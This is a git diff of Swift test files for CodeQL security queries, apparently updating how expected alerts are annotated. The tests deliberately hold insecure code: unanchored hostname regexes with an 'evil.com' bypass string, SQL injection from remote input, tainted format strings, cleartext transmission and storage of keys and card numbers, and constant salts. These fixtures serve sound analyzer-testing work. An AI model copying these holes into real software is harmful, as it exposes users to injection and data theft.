_ = try NSRegularExpression(pattern: "^good\\.com$", options: .anchorsMatchLines).matches(in: attackUrl1, range: attackUrl1Range) // BAD [NOT DETECTED]: with the .anchorsMatchLines option this matches the attack URL + _ = try NSRegularExpression(pattern: "^good\\.com$", options: .anchorsMatchLines).matches(in: attackUrl1, range: attackUrl1Range) // $ MISSING: Alert[swift/missing-regexp-anchor] // BAD [NOT DETECTED]: with the .anchorsMatchLines option this matches the attack URL _ = try NSRegularExpression(pattern: "(?i)^good\\.com$").matches(in: attackUrl1, range: attackUrl1Range) // OK - _ = try NSRegularExpression(pattern: "(?i)^good\\.com$", options: .anchorsMatchLines).matches(in: attackUrl1, range: attackUrl1Range) // BAD [NOT DETECTED]: with the .anchorsMatchLines option this matches the attack URL + _ = try NSRegularExpression(pattern: "(?i)^good\\.com$", options: .anchorsMatchLines).matches(in: attackUrl1, range: attackUrl1Range) // $ MISSING: Alert[swift/missing-regexp-anchor] // BAD [NOT DETECTED]: with the .anchorsMatchLines option this matches the attack URL _ = try NSRegularExpression(pattern: "^good\\.com$|^another\\.com$").matches(in: attackUrl1, range: attackUrl1Range) // OK - _ = try NSRegularExpression(pattern: "^good\\.com$|^another\\.com$", options: .anchorsMatchLines).matches(in: attackUrl1, range: attackUrl1Range) // BAD [NOT DETECTED]: with the .anchorsMatchLines option this matches the attack URL + _ = try NSRegularExpression(pattern: "^good\\.com$|^another\\.com$", options: .anchorsMatchLines).matches(in: attackUrl1, range: attackUrl1Range) // $ MISSING: Alert[swift/missing-regexp-anchor] // BAD [NOT DETECTED]: with the .anchorsMatchLines option this matches the attack URL let attackUrl2 = "evil.com/blabla?\ngood.com/" let attackUrl2Range = NSMakeRange(0, attackUrl2.utf16.count) _ = try NSRegularExpression(pattern: "^good\\.com/").matches(in: attackUrl2, range: attackUrl2Range) // OK - _ = try NSRegularExpression(pattern: "^good\\.com/", options: .anchorsMatchLines).matches(in: attackUrl2, range: attackUrl2Range) // BAD [NOT DETECTED]: with the .anchorsMatchLines option this matches the attack URL + _ = try NSRegularExpression(pattern: "^good\\.com/", options: .anchorsMatchLines).matches(in: attackUrl2, range: attackUrl2Range) // $ MISSING: Alert[swift/missing-regexp-anchor] // BAD [NOT DETECTED]: with the .anchorsMatchLines option this matches the attack URL _ = try NSRegularExpression(pattern: "(?i)^good\\.com/").matches(in: attackUrl2, range: attackUrl2Range) // OK - _ = try NSRegularExpression(pattern: "(?i)^good\\.com/", options: .anchorsMatchLines).matches(in: attackUrl2, range: attackUrl2Range) // BAD [NOT DETECTED]: with the .anchorsMatchLines option this matches the attack URL + _ = try NSRegularExpression(pattern: "(?i)^good\\.com/", options: .anchorsMatchLines).matches(in: attackUrl2, range: attackUrl2Range) // $ MISSING: Alert[swift/missing-regexp-anchor] // BAD [NOT DETECTED]: with the .anchorsMatchLines option this matches the attack URL _ = try NSRegularExpression(pattern: "^good\\.com/|^another\\.com/").matches(in: attackUrl2, range: attackUrl2Range) // OK - _ = try NSRegularExpression(pattern: "^good\\.com/|^another\\.com/", options: .anchorsMatchLines).matches(in: attackUrl2, range: attackUrl2Range) // BAD [NOT DETECTED]: with the .anchorsMatchLines option this matches the attack URL + _ = try NSRegularExpression(pattern: "^good\\.com/|^another\\.com/", options: .anchorsMatchLines).matches(in: attackUrl2, range: attackUrl2Range) // $ MISSING: Alert[swift/missing-regexp-anchor] // BAD [NOT DETECTED]: with the .anchorsMatchLines option this matches the attack URL } diff --git a/swift/ql/test/query-tests/Security/CWE-020/test.swift b/swift/ql/test/query-tests/Security/CWE-020/test.swift index 321f5fcd56c..384d5875476 100644 --- a/swift/ql/test/query-tests/Security/CWE-020/test.swift +++ b/swift/ql/test/query-tests/Security/CWE-020/test.swift @@ -73,8 +73,8 @@ func testHostnames(myUrl: URL) throws { _ = try Regex(#"^https?://api.example.com/"#).firstMatch(in: tainted) // $ Alert[swift/incomplete-hostname-regexp] // BAD (incomplete hostname) _ = try Regex(#"^http[s]?://?sub1\.sub2\.example\.com/f/(.+)"#).firstMatch(in: tainted) // GOOD (it has a capture group after the TLD, so should be ignored) _ = try Regex(#"^https://[a-z]*.example.com$"#).firstMatch(in: tainted) // $ Alert[swift/incomplete-hostname-regexp] // BAD (incomplete hostname) - _ = try Regex(#"^(example.dev|example.com)"#).firstMatch(in: tainted) // $ Alert[swift/missing-regexp-anchor] // GOOD (any extended hostname wouldn't be included in the capture group) [FALSE POSITIVE] - _ = try Regex(#"^protos?://(localhost|.+.example.net|.+.example-a.com|.+.example-b.com|.+.example.internal)"#).firstMatch(in: tainted) // $ Alert[swift/incomplete-hostname-regexp] Alert[swift/incomplete-hostname-regexp] Alert[swift/incomplete-hostname-regexp] Alert[swift/missing-regexp-anchor] // BAD (incomplete hostname x3, missing anchor x 1) + _ = try Regex(#"^(example.dev|example.com)"#).firstMatch(in: tainted) // $ SPURIOUS: Alert[swift/missing-regexp-anchor] // GOOD (any extended hostname wouldn't be included in the capture group) [FALSE POSITIVE] + _ = try Regex(#"^protos?://(localhost|.+.example.net|.+.example-a.com|.+.example-b.com|.+.example.internal)"#).firstMatch(in: tainted) // $ Alert[swift/incomplete-hostname-regexp] Alert[swift/missing-regexp-anchor] // BAD (incomplete hostname x3, missing anchor x 1) _ = try Regex(#"^http://(..|...)\.example\.com/index\.html"#).firstMatch(in: tainted) // GOOD (wildcards are intentional) _ = try Regex(#"^http://.\.example\.com/index\.html"#).firstMatch(in: tainted) // GOOD (the wildcard is intentional) @@ -85,7 +85,7 @@ func testHostnames(myUrl: URL) throws { _ = try Regex(id(id(id(#"test.example.com$"#)))).firstMatch(in: tainted) // $ Alert[swift/incomplete-hostname-regexp] // BAD (incomplete hostname) - let hostname = #"test.example.com$"# // BAD (incomplete hostname) [NOT DETECTED] + let hostname = #"test.example.com$"# // $ MISSING: Alert[swift/incomplete-hostname-regexp] // BAD (incomplete hostname) [NOT DETECTED] _ = try Regex("\(hostname)").firstMatch(in: tainted) var domain = MyDomain("") @@ -97,17 +97,17 @@ func testHostnames(myUrl: URL) throws { } _ = try convert1(MyDomain(#"test.example.com$"#)).firstMatch(in: tainted) // $ Alert[swift/incomplete-hostname-regexp] // BAD (incomplete hostname) - let domains = [ MyDomain(#"test.example.com$"#) ] // BAD (incomplete hostname) [NOT DETECTED] + let domains = [ MyDomain(#"test.example.com$"#) ] // $ MISSING: Alert[swift/incomplete-hostname-regexp] // BAD (incomplete hostname) [NOT DETECTED] func convert2(_ domain: MyDomain) throws -> Regex { return try Regex(domain.hostname) } _ = try domains.map({ try convert2($0).firstMatch(in: tainted) }) let primary = "example.com$" - _ = try Regex("test." + primary).firstMatch(in: tainted) // BAD (incomplete hostname) [NOT DETECTED] - _ = try Regex("test." + "example.com$").firstMatch(in: tainted) // BAD (incomplete hostname) [NOT DETECTED] - _ = try Regex(#"^http://localhost:8000|" + "^https?://.+\.example\.com/"#).firstMatch(in: tainted) // BAD (incomplete hostname) [NOT DETECTED] - _ = try Regex(#"^http://localhost:8000|" + "^https?://.+.example\.com/"#).firstMatch(in: tainted) // BAD (incomplete hostname) [NOT DETECTED] + _ = try Regex("test." + primary).firstMatch(in: tainted) // $ MISSING: Alert[swift/incomplete-hostname-regexp] // BAD (incomplete hostname) [NOT DETECTED] + _ = try Regex("test." + "example.com$").firstMatch(in: tainted) // $ MISSING: Alert[swift/incomplete-hostname-regexp] // BAD (incomplete hostname) [NOT DETECTED] + _ = try Regex(#"^http://localhost:8000|" + "^https?://.+\.example\.com/"#).firstMatch(in: tainted) // $ MISSING: Alert[swift/incomplete-hostname-regexp] // BAD (incomplete hostname) [NOT DETECTED] + _ = try Regex(#"^http://localhost:8000|" + "^https?://.+.example\.com/"#).firstMatch(in: tainted) // $ MISSING: Alert[swift/incomplete-hostname-regexp] // BAD (incomplete hostname) [NOT DETECTED] let harmless = #"^http://test.example.com"# // GOOD (never used as a regex) } diff --git a/swift/ql/test/query-tests/Security/CWE-089/other.swift b/swift/ql/test/query-tests/Security/CWE-089/other.swift index cb36c8f8828..0974d03937e 100644 --- a/swift/ql/test/query-tests/Security/CWE-089/other.swift +++ b/swift/ql/test/query-tests/Security/CWE-089/other.swift @@ -55,9 +55,9 @@ func test_heuristic(db: MyDatabase) throws { db.execute4(remoteString as! Sql) // $ Alert db.query(sql: remoteString) // $ Alert - db.query(sqlLiteral: remoteString) // BAD [NOT DETECTED] - db.query(sqlStatement: remoteString) // BAD [NOT DETECTED] - db.query(sqliteStatement: remoteString) // BAD [NOT DETECTED] + db.query(sqlLiteral: remoteString) // $ MISSING: Alert // BAD [NOT DETECTED] + db.query(sqlStatement: remoteString) // $ MISSING: Alert // BAD [NOT DETECTED] + db.query(sqliteStatement: remoteString) // $ MISSING: Alert // BAD [NOT DETECTED] db.doSomething(sqlIndex: Int(remoteString) ?? 0) // GOOD db.doSomething(sqliteContext: remoteString as! Sql) // GOOD diff --git a/swift/ql/test/query-tests/Security/CWE-134/UncontrolledFormatString.swift b/swift/ql/test/query-tests/Security/CWE-134/UncontrolledFormatString.swift index dd82c70ab68..37c9b2bbca5 100644 --- a/swift/ql/test/query-tests/Security/CWE-134/UncontrolledFormatString.swift +++ b/swift/ql/test/query-tests/Security/CWE-134/UncontrolledFormatString.swift @@ -148,7 +148,7 @@ func tests() throws { _ = vasprintf_l(nil, nil, "%s", getVaList([cstr])) // GOOD: format not tainted }) - myFormatMessage(string: tainted, "abc") // BAD [NOT DETECTED] + myFormatMessage(string: tainted, "abc") // $ MISSING: Alert // BAD [NOT DETECTED] myFormatMessage(string: "%s", tainted) // GOOD: format not tainted _ = MyString(format: tainted, "abc") // $ Alert diff --git a/swift/ql/test/query-tests/Security/CWE-311/testAlamofire.swift b/swift/ql/test/query-tests/Security/CWE-311/testAlamofire.swift index 0bbb43d732c..43e8e15873c 100644 --- a/swift/ql/test/query-tests/Security/CWE-311/testAlamofire.swift +++ b/swift/ql/test/query-tests/Security/CWE-311/testAlamofire.swift @@ -159,25 +159,25 @@ func test1(username: String, password: String, email: String, harmless: String) let params1 = ["value": email] let params2 = ["value": harmless] - AF.request("http://example.com/", parameters: params1) // BAD [NOT DETECTED] + AF.request("http://example.com/", parameters: params1) // $ MISSING: Alert[swift/cleartext-transmission] // BAD [NOT DETECTED] AF.request("http://example.com/", parameters: params2) // GOOD (not sensitive) - AF.request("http://example.com/", parameters: params1, encoding: URLEncoding.default) // BAD [NOT DETECTED] + AF.request("http://example.com/", parameters: params1, encoding: URLEncoding.default) // $ MISSING: Alert[swift/cleartext-transmission] // BAD [NOT DETECTED] AF.request("http://example.com/", parameters: params2, encoding: URLEncoding.default) // GOOD (not sensitive) - AF.request("http://example.com/", parameters: params1, encoder: URLEncodedFormParameterEncoder.default) // BAD [NOT DETECTED] + AF.request("http://example.com/", parameters: params1, encoder: URLEncodedFormParameterEncoder.default) // $ MISSING: Alert[swift/cleartext-transmission] // BAD [NOT DETECTED] AF.request("http://example.com/", parameters: params2, encoder: URLEncodedFormParameterEncoder.default) // GOOD (not sensitive) - AF.download("http://example.com/", parameters: params1) // BAD [NOT DETECTED] + AF.download("http://example.com/", parameters: params1) // $ MISSING: Alert[swift/cleartext-transmission] // BAD [NOT DETECTED] AF.download("http://example.com/", parameters: params2) // GOOD (not sensitive) let params3 = ["values": ["...", email, "..."]] let params4 = ["values": ["...", harmless, "..."]] - AF.request("http://example.com/", method:.post, parameters: params3) // BAD [NOT DETECTED] + AF.request("http://example.com/", method:.post, parameters: params3) // $ MISSING: Alert[swift/cleartext-transmission] // BAD [NOT DETECTED] AF.request("http://example.com/", method:.post, parameters: params4) // GOOD (not sensitive) let params5 = MyEncodable(value: email) let params6 = MyEncodable(value: harmless) - AF.request("http://example.com/", parameters: params5) // BAD [NOT DETECTED] + AF.request("http://example.com/", parameters: params5) // $ MISSING: Alert[swift/cleartext-transmission] // BAD [NOT DETECTED] AF.request("http://example.com/", parameters: params6) // GOOD (not sensitive) // request headers @@ -187,17 +187,17 @@ func test1(username: String, password: String, email: String, harmless: String) let headers1: HTTPHeaders = ["Authorization": username + ":" + password] let headers2: HTTPHeaders = ["Value": harmless] - AF.request("http://example.com/", headers: headers1) // BAD [NOT DETECTED] + AF.request("http://example.com/", headers: headers1) // $ MISSING: Alert[swift/cleartext-transmission] // BAD [NOT DETECTED] AF.request("http://example.com/", headers: headers2) // GOOD (not sensitive) - AF.streamRequest("http://example.com/", headers: headers1) // BAD [NOT DETECTED] + AF.streamRequest("http://example.com/", headers: headers1) // $ MISSING: Alert[swift/cleartext-transmission] // BAD [NOT DETECTED] AF.streamRequest("http://example.com/", headers: headers2) // GOOD (not sensitive) let headers3 = HTTPHeaders(["Authorization": username + ":" + password]) let headers4 = HTTPHeaders(["Value": harmless]) - AF.request("http://example.com/", headers: headers3) // BAD [NOT DETECTED] + AF.request("http://example.com/", headers: headers3) // $ MISSING: Alert[swift/cleartext-transmission] // BAD [NOT DETECTED] AF.request("http://example.com/", headers: headers4) // GOOD (not sensitive) - AF.download("http://example.com/", headers: headers1) // BAD [NOT DETECTED] + AF.download("http://example.com/", headers: headers1) // $ MISSING: Alert[swift/cleartext-transmission] // BAD [NOT DETECTED] AF.download("http://example.com/", headers: headers2) // GOOD (not sensitive) var headers5 = HTTPHeaders([:]) @@ -205,7 +205,7 @@ func test1(username: String, password: String, email: String, harmless: String) headers5.add(name: "Authorization", value: username + ":" + password) headers6.add(name: "Data", value: harmless) - AF.request("http://example.com/", headers: headers5) // BAD [NOT DETECTED] + AF.request("http://example.com/", headers: headers5) // $ MISSING: Alert[swift/cleartext-transmission] // BAD [NOT DETECTED] AF.request("http://example.com/", headers: headers6) // GOOD (not sensitive) var headers7 = HTTPHeaders([:]) @@ -213,6 +213,6 @@ func test1(username: String, password: String, email: String, harmless: String) headers7.update(name: "Authorization", value: username + ":" + password) headers8.update(name: "Data", value: harmless) - AF.request("http://example.com/", headers: headers7) // BAD [NOT DETECTED] + AF.request("http://example.com/", headers: headers7) // $ MISSING: Alert[swift/cleartext-transmission] // BAD [NOT DETECTED] AF.request("http://example.com/", headers: headers8) // GOOD (not sensitive) } diff --git a/swift/ql/test/query-tests/Security/CWE-311/testCoreData.swift b/swift/ql/test/query-tests/Security/CWE-311/testCoreData.swift index 50eac08b47c..6f1757a9e82 100644 --- a/swift/ql/test/query-tests/Security/CWE-311/testCoreData.swift +++ b/swift/ql/test/query-tests/Security/CWE-311/testCoreData.swift @@ -124,16 +124,16 @@ class SecureKeyStore { func test5(obj : NSManagedObject) { // more variants... - obj.setValue(createSecureKey(), forKey: "myKey") // BAD [NOT DETECTED] + obj.setValue(createSecureKey(), forKey: "myKey") // $ MISSING: Alert[swift/cleartext-storage-database] // BAD [NOT DETECTED] obj.setValue(generateSecretKey(), forKey: "myKey") // $ Alert[swift/cleartext-storage-database] obj.setValue(getCertificate(), forKey: "myKey") // $ Alert[swift/cleartext-storage-database] let gen = KeyGen() let v = gen.generate() - obj.setValue(KeyGen().generate(), forKey: "myKey") // BAD [NOT DETECTED] - obj.setValue(gen.generate(), forKey: "myKey") // BAD [NOT DETECTED] - obj.setValue(v, forKey: "myKey") // BAD [NOT DETECTED] - obj.setValue(KeyManager().generateKey(), forKey: "myKey") // BAD [NOT DETECTED] - obj.setValue(SecureKeyStore().getEncryptionKey(), forKey: "myKey") // BAD [NOT DETECTED] + obj.setValue(KeyGen().generate(), forKey: "myKey") // $ MISSING: Alert[swift/cleartext-storage-database] // BAD [NOT DETECTED] + obj.setValue(gen.generate(), forKey: "myKey") // $ MISSING: Alert[swift/cleartext-storage-database] // BAD [NOT DETECTED] + obj.setValue(v, forKey: "myKey") // $ MISSING: Alert[swift/cleartext-storage-database] // BAD [NOT DETECTED] + obj.setValue(KeyManager().generateKey(), forKey: "myKey") // $ MISSING: Alert[swift/cleartext-storage-database] // BAD [NOT DETECTED] + obj.setValue(SecureKeyStore().getEncryptionKey(), forKey: "myKey") // $ MISSING: Alert[swift/cleartext-storage-database] // BAD [NOT DETECTED] } diff --git a/swift/ql/test/query-tests/Security/CWE-311/testCoreData2.swift b/swift/ql/test/query-tests/Security/CWE-311/testCoreData2.swift index 494f136d909..9a8ecbf2488 100644 --- a/swift/ql/test/query-tests/Security/CWE-311/testCoreData2.swift +++ b/swift/ql/test/query-tests/Security/CWE-311/testCoreData2.swift @@ -35,21 +35,21 @@ func testCoreData2_1(obj: MyManagedObject2, maybeObj: MyManagedObject2?, value: // @NSManaged fields of an NSManagedObject... obj.myValue = value // GOOD (not sensitive) obj.myValue = bankAccountNo // $ Alert[swift/cleartext-storage-database] - obj.myBankAccountNumber = value // BAD [NOT DETECTED] + obj.myBankAccountNumber = value // $ MISSING: Alert[swift/cleartext-storage-database] // BAD [NOT DETECTED] obj.myBankAccountNumber = bankAccountNo // $ Alert[swift/cleartext-storage-database] - obj.myBankAccountNumber2 = value // BAD [NOT DETECTED] + obj.myBankAccountNumber2 = value // $ MISSING: Alert[swift/cleartext-storage-database] // BAD [NOT DETECTED] obj.myBankAccountNumber2 = bankAccountNo // $ Alert[swift/cleartext-storage-database] obj.notStoredBankAccountNumber = value // GOOD (not stored in the database) - obj.notStoredBankAccountNumber = bankAccountNo // $ Alert[swift/cleartext-storage-database] // GOOD (not stored in the datbase) [FALSE POSITIVE] + obj.notStoredBankAccountNumber = bankAccountNo // $ SPURIOUS: Alert[swift/cleartext-storage-database] // GOOD (not stored in the datbase) [FALSE POSITIVE] maybeObj?.myValue = value // GOOD (not sensitive) maybeObj?.myValue = bankAccountNo // $ Alert[swift/cleartext-storage-database] - maybeObj?.myBankAccountNumber = value // BAD [NOT DETECTED] + maybeObj?.myBankAccountNumber = value // $ MISSING: Alert[swift/cleartext-storage-database] // BAD [NOT DETECTED] maybeObj?.myBankAccountNumber = bankAccountNo // $ Alert[swift/cleartext-storage-database] - maybeObj?.myBankAccountNumber2 = value // BAD [NOT DETECTED] + maybeObj?.myBankAccountNumber2 = value // $ MISSING: Alert[swift/cleartext-storage-database] // BAD [NOT DETECTED] maybeObj?.myBankAccountNumber2 = bankAccountNo // $ Alert[swift/cleartext-storage-database] maybeObj?.notStoredBankAccountNumber = value // GOOD (not stored in the database) - maybeObj?.notStoredBankAccountNumber = bankAccountNo // $ Alert[swift/cleartext-storage-database] // GOOD (not stored in the datbase) [FALSE POSITIVE] + maybeObj?.notStoredBankAccountNumber = bankAccountNo // $ SPURIOUS: Alert[swift/cleartext-storage-database] // GOOD (not stored in the datbase) [FALSE POSITIVE] } class testCoreData2_2 { @@ -102,5 +102,5 @@ func testCoreData2_3(dbObj: MyManagedObject2, maybeObj: MyManagedObject2?, conta var f: MyContainer? f?.value = e.value dbObj.myValue = e.value // $ Alert[swift/cleartext-storage-database] - dbObj.myValue = e.value2 // $ Alert[swift/cleartext-storage-database] // GOOD [FALSE POSITIVE] + dbObj.myValue = e.value2 // $ SPURIOUS: Alert[swift/cleartext-storage-database] // GOOD [FALSE POSITIVE] } diff --git a/swift/ql/test/query-tests/Security/CWE-311/testRealm2.swift b/swift/ql/test/query-tests/Security/CWE-311/testRealm2.swift index 6374467750f..e24fee191db 100644 --- a/swift/ql/test/query-tests/Security/CWE-311/testRealm2.swift +++ b/swift/ql/test/query-tests/Security/CWE-311/testRealm2.swift @@ -24,7 +24,7 @@ func test2(o: MyRealmSwiftObject3, ccn: String, socialSecurityNumber: String, ss o.data = socialSecurityNumber // $ Alert[swift/cleartext-storage-database] o.data = ssn // $ Alert[swift/cleartext-storage-database] o.data = String(ssn_int) // $ Alert[swift/cleartext-storage-database] - o.data = userSSN // BAD [NOT DETECTED] + o.data = userSSN // $ MISSING: Alert[swift/cleartext-storage-database] // BAD [NOT DETECTED] o.data = classno // GOOD } @@ -32,6 +32,6 @@ func test3(o: MyRealmSwiftObject3, ccn: String, creditCardNumber: String, CCN: S o.data = creditCardNumber // $ Alert[swift/cleartext-storage-database] o.data = CCN // $ Alert[swift/cleartext-storage-database] o.data = String(int_ccn) // $ Alert[swift/cleartext-storage-database] - o.data = userCcn // BAD [NOT DETECTED] + o.data = userCcn // $ MISSING: Alert[swift/cleartext-storage-database] // BAD [NOT DETECTED] o.data = succnode // GOOD } diff --git a/swift/ql/test/query-tests/Security/CWE-311/testSwiftUI.swift b/swift/ql/test/query-tests/Security/CWE-311/testSwiftUI.swift index 77f02539619..1bfb09d4034 100644 --- a/swift/ql/test/query-tests/Security/CWE-311/testSwiftUI.swift +++ b/swift/ql/test/query-tests/Security/CWE-311/testSwiftUI.swift @@ -77,7 +77,7 @@ struct MyStruct { var myView2: some View { SecureField("title", text: $secureInput, prompt: nil) .onSubmit { - _ = URL(string: "http://example.com/login?key=\(secureInput)"); // BAD [NOT DETECTED] + _ = URL(string: "http://example.com/login?key=\(secureInput)"); // $ MISSING: Alert[swift/cleartext-transmission] // BAD [NOT DETECTED] } } } diff --git a/swift/ql/test/query-tests/Security/CWE-311/testURL.swift b/swift/ql/test/query-tests/Security/CWE-311/testURL.swift index d77d3a4e5db..0768e212470 100644 --- a/swift/ql/test/query-tests/Security/CWE-311/testURL.swift +++ b/swift/ql/test/query-tests/Security/CWE-311/testURL.swift @@ -66,10 +66,10 @@ func get_certain() -> String { return "" } func test2() { // more variants... - _ = URL(string: "http://example.com/login?key=" + get_private_key()); // BAD [NOT DETECTED] - _ = URL(string: "http://example.com/login?key=" + get_aes_key()); // BAD [NOT DETECTED] - _ = URL(string: "http://example.com/login?key=" + get_aws_key()); // BAD [NOT DETECTED] - _ = URL(string: "http://example.com/login?key=" + get_access_key()); // BAD [NOT DETECTED] + _ = URL(string: "http://example.com/login?key=" + get_private_key()); // $ MISSING: Alert[swift/cleartext-transmission] // BAD [NOT DETECTED] + _ = URL(string: "http://example.com/login?key=" + get_aes_key()); // $ MISSING: Alert[swift/cleartext-transmission] // BAD [NOT DETECTED] + _ = URL(string: "http://example.com/login?key=" + get_aws_key()); // $ MISSING: Alert[swift/cleartext-transmission] // BAD [NOT DETECTED] + _ = URL(string: "http://example.com/login?key=" + get_access_key()); // $ MISSING: Alert[swift/cleartext-transmission] // BAD [NOT DETECTED] _ = URL(string: "http://example.com/login?key=" + get_secret_key()); // $ Alert[swift/cleartext-transmission] _ = URL(string: "http://example.com/login?key=" + get_key_press()); // GOOD (not sensitive) _ = URL(string: "http://example.com/login?cert=" + get_cert_string()); // $ Alert[swift/cleartext-transmission] @@ -90,13 +90,13 @@ func test3() { let auth_token = get_string() let next_token = get_string() - _ = URL(string: "http://example.com/login?key=\(priv_key)"); // BAD [NOT DETECTED] - _ = URL(string: "http://example.com/login?key=\(private_key)"); // BAD [NOT DETECTED] + _ = URL(string: "http://example.com/login?key=\(priv_key)"); // $ MISSING: Alert[swift/cleartext-transmission] // BAD [NOT DETECTED] + _ = URL(string: "http://example.com/login?key=\(private_key)"); // $ MISSING: Alert[swift/cleartext-transmission] // BAD [NOT DETECTED] _ = URL(string: "http://example.com/login?key=\(pub_key)"); // GOOD (not sensitive) _ = URL(string: "http://example.com/login?cert=\(certificate)"); // $ Alert[swift/cleartext-transmission] - _ = URL(string: "http://example.com/login?tok=\(secure_token)"); // BAD [NOT DETECTED] - _ = URL(string: "http://example.com/login?tok=\(access_token)"); // BAD [NOT DETECTED] - _ = URL(string: "http://example.com/login?tok=\(auth_token)"); // BAD [NOT DETECTED] + _ = URL(string: "http://example.com/login?tok=\(secure_token)"); // $ MISSING: Alert[swift/cleartext-transmission] // BAD [NOT DETECTED] + _ = URL(string: "http://example.com/login?tok=\(access_token)"); // $ MISSING: Alert[swift/cleartext-transmission] // BAD [NOT DETECTED] + _ = URL(string: "http://example.com/login?tok=\(auth_token)"); // $ MISSING: Alert[swift/cleartext-transmission] // BAD [NOT DETECTED] _ = URL(string: "http://example.com/login?tok=\(next_token)"); // GOOD (not sensitive) } @@ -115,7 +115,7 @@ func test5() { _ = URL(string: "http://example.com/login?email=\(email)"); // $ Alert[swift/cleartext-transmission] _ = URL(string: "mailto:\(email)"); // GOOD (revealing your e-amil address in an e-mail is expected) - _ = URL(string: "mailto:info@example.com?subject=\(secret_key)"); // BAD [NOT DETECTED] + _ = URL(string: "mailto:info@example.com?subject=\(secret_key)"); // $ MISSING: Alert[swift/cleartext-transmission] // BAD [NOT DETECTED] _ = URL(string: "mailto:info@example.com?subject=foo&cc=\(email)"); // GOOD let phone_number = get_string() diff --git a/swift/ql/test/query-tests/Security/CWE-328/testCryptoKit.swift b/swift/ql/test/query-tests/Security/CWE-328/testCryptoKit.swift index 2f08fb62d90..d2faf881224 100644 --- a/swift/ql/test/query-tests/Security/CWE-328/testCryptoKit.swift +++ b/swift/ql/test/query-tests/Security/CWE-328/testCryptoKit.swift @@ -256,5 +256,5 @@ func testReceiver2(hasher: Insecure.MD5.Type, value: Data) { } func testReceiver3(hasher: H.Type, value: Data) { - let _digest = hasher.hash(data: value); // BAD [NOT DETECTED] + let _digest = hasher.hash(data: value); // $ MISSING: Alert[swift/weak-sensitive-data-hashing] // BAD [NOT DETECTED] } diff --git a/swift/ql/test/query-tests/Security/CWE-730/tests.swift b/swift/ql/test/query-tests/Security/CWE-730/tests.swift index 8de36a7f9f3..0fe6b5e9802 100644 --- a/swift/ql/test/query-tests/Security/CWE-730/tests.swift +++ b/swift/ql/test/query-tests/Security/CWE-730/tests.swift @@ -159,7 +159,7 @@ func regexInjectionTests(cond: Bool, varString: String, myUrl: URL) throws { let okSet: Set = ["abc", "def"] if (taintedString == okInput) { - _ = try Regex(taintedString).firstMatch(in: varString) // $ Alert // GOOD (effectively sanitized by the check) [FALSE POSITIVE] + _ = try Regex(taintedString).firstMatch(in: varString) // $ SPURIOUS: Alert // GOOD (effectively sanitized by the check) [FALSE POSITIVE] } else { _ = try Regex(taintedString).firstMatch(in: varString) // $ Alert } @@ -170,19 +170,19 @@ func regexInjectionTests(cond: Bool, varString: String, myUrl: URL) throws { _ = try Regex(taintedString).firstMatch(in: varString) // $ Alert } if (okInputs.contains(taintedString)) { - _ = try Regex(taintedString).firstMatch(in: varString) // $ Alert // GOOD (effectively sanitized by the check) [FALSE POSITIVE] + _ = try Regex(taintedString).firstMatch(in: varString) // $ SPURIOUS: Alert // GOOD (effectively sanitized by the check) [FALSE POSITIVE] } if (okInputs.firstIndex(of: taintedString) != nil) { - _ = try Regex(taintedString).firstMatch(in: varString) // $ Alert // GOOD (effectively sanitized by the check) [FALSE POSITIVE] + _ = try Regex(taintedString).firstMatch(in: varString) // $ SPURIOUS: Alert // GOOD (effectively sanitized by the check) [FALSE POSITIVE] } if let index = okInputs.firstIndex(of: taintedString) { - _ = try Regex(taintedString).firstMatch(in: varString) // $ Alert // GOOD (effectively sanitized by the check) [FALSE POSITIVE] + _ = try Regex(taintedString).firstMatch(in: varString) // $ SPURIOUS: Alert // GOOD (effectively sanitized by the check) [FALSE POSITIVE] } if let index = okInputs.index(of: taintedString) { - _ = try Regex(taintedString).firstMatch(in: varString) // $ Alert // GOOD (effectively sanitized by the check) [FALSE POSITIVE] + _ = try Regex(taintedString).firstMatch(in: varString) // $ SPURIOUS: Alert // GOOD (effectively sanitized by the check) [FALSE POSITIVE] } if (okSet.contains(taintedString)) { - _ = try Regex(taintedString).firstMatch(in: varString) // $ Alert // GOOD (effectively sanitized by the check) [FALSE POSITIVE] + _ = try Regex(taintedString).firstMatch(in: varString) // $ SPURIOUS: Alert // GOOD (effectively sanitized by the check) [FALSE POSITIVE] } // --- multiple evaluations --- diff --git a/swift/ql/test/query-tests/Security/CWE-760/rncryptor.swift b/swift/ql/test/query-tests/Security/CWE-760/rncryptor.swift index 228e1231c99..6c0c3c00988 100644 --- a/swift/ql/test/query-tests/Security/CWE-760/rncryptor.swift +++ b/swift/ql/test/query-tests/Security/CWE-760/rncryptor.swift @@ -82,9 +82,9 @@ func test(myPassword: String) { let _ = myEncryptor.key(forPassword: myPassword, salt: Data(getARandomString() + getARandomString()), settings: myKeyDerivationSettings) // GOOD let _ = myEncryptor.key(forPassword: myPassword, salt: Data("123" + getARandomString()), settings: myKeyDerivationSettings) // GOOD let _ = myEncryptor.key(forPassword: myPassword, salt: Data(getARandomString() + "abc"), settings: myKeyDerivationSettings) // GOOD - let _ = myEncryptor.key(forPassword: myPassword, salt: Data("123" + "abc"), settings: myKeyDerivationSettings) // BAD (constant salt) [NOT DETECTED] + let _ = myEncryptor.key(forPassword: myPassword, salt: Data("123" + "abc"), settings: myKeyDerivationSettings) // $ MISSING: Alert // BAD (constant salt) [NOT DETECTED] let _ = myEncryptor.key(forPassword: myPassword, salt: Data("123\(getARandomString())abc"), settings: myKeyDerivationSettings) // GOOD - let _ = myEncryptor.key(forPassword: myPassword, salt: Data("123\("const"))abc"), settings: myKeyDerivationSettings) // BAD (constant salt) [NOT DETECTED] + let _ = myEncryptor.key(forPassword: myPassword, salt: Data("123\("const"))abc"), settings: myKeyDerivationSettings) // $ MISSING: Alert // BAD (constant salt) [NOT DETECTED] var myMutableString1 = "123" myMutableString1.append(getARandomString()) From f143dad1b29adf5df0b63bb1422c14262ab1e2e2 Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Tue, 16 Jun 2026 08:57:37 +0200 Subject: [PATCH 136/143] Apply suggestions from code review Co-authored-by: Copilot Autofix powered by AI <175728472+Copilot@users.noreply.github.com> --- shared/typeflow/codeql/typeflow/TypeFlow.qll | 4 ++-- shared/typeflow/codeql/typeflow/UniversalFlow.qll | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/shared/typeflow/codeql/typeflow/TypeFlow.qll b/shared/typeflow/codeql/typeflow/TypeFlow.qll index 87840fb4d64..d34604fcc56 100644 --- a/shared/typeflow/codeql/typeflow/TypeFlow.qll +++ b/shared/typeflow/codeql/typeflow/TypeFlow.qll @@ -30,8 +30,8 @@ signature module 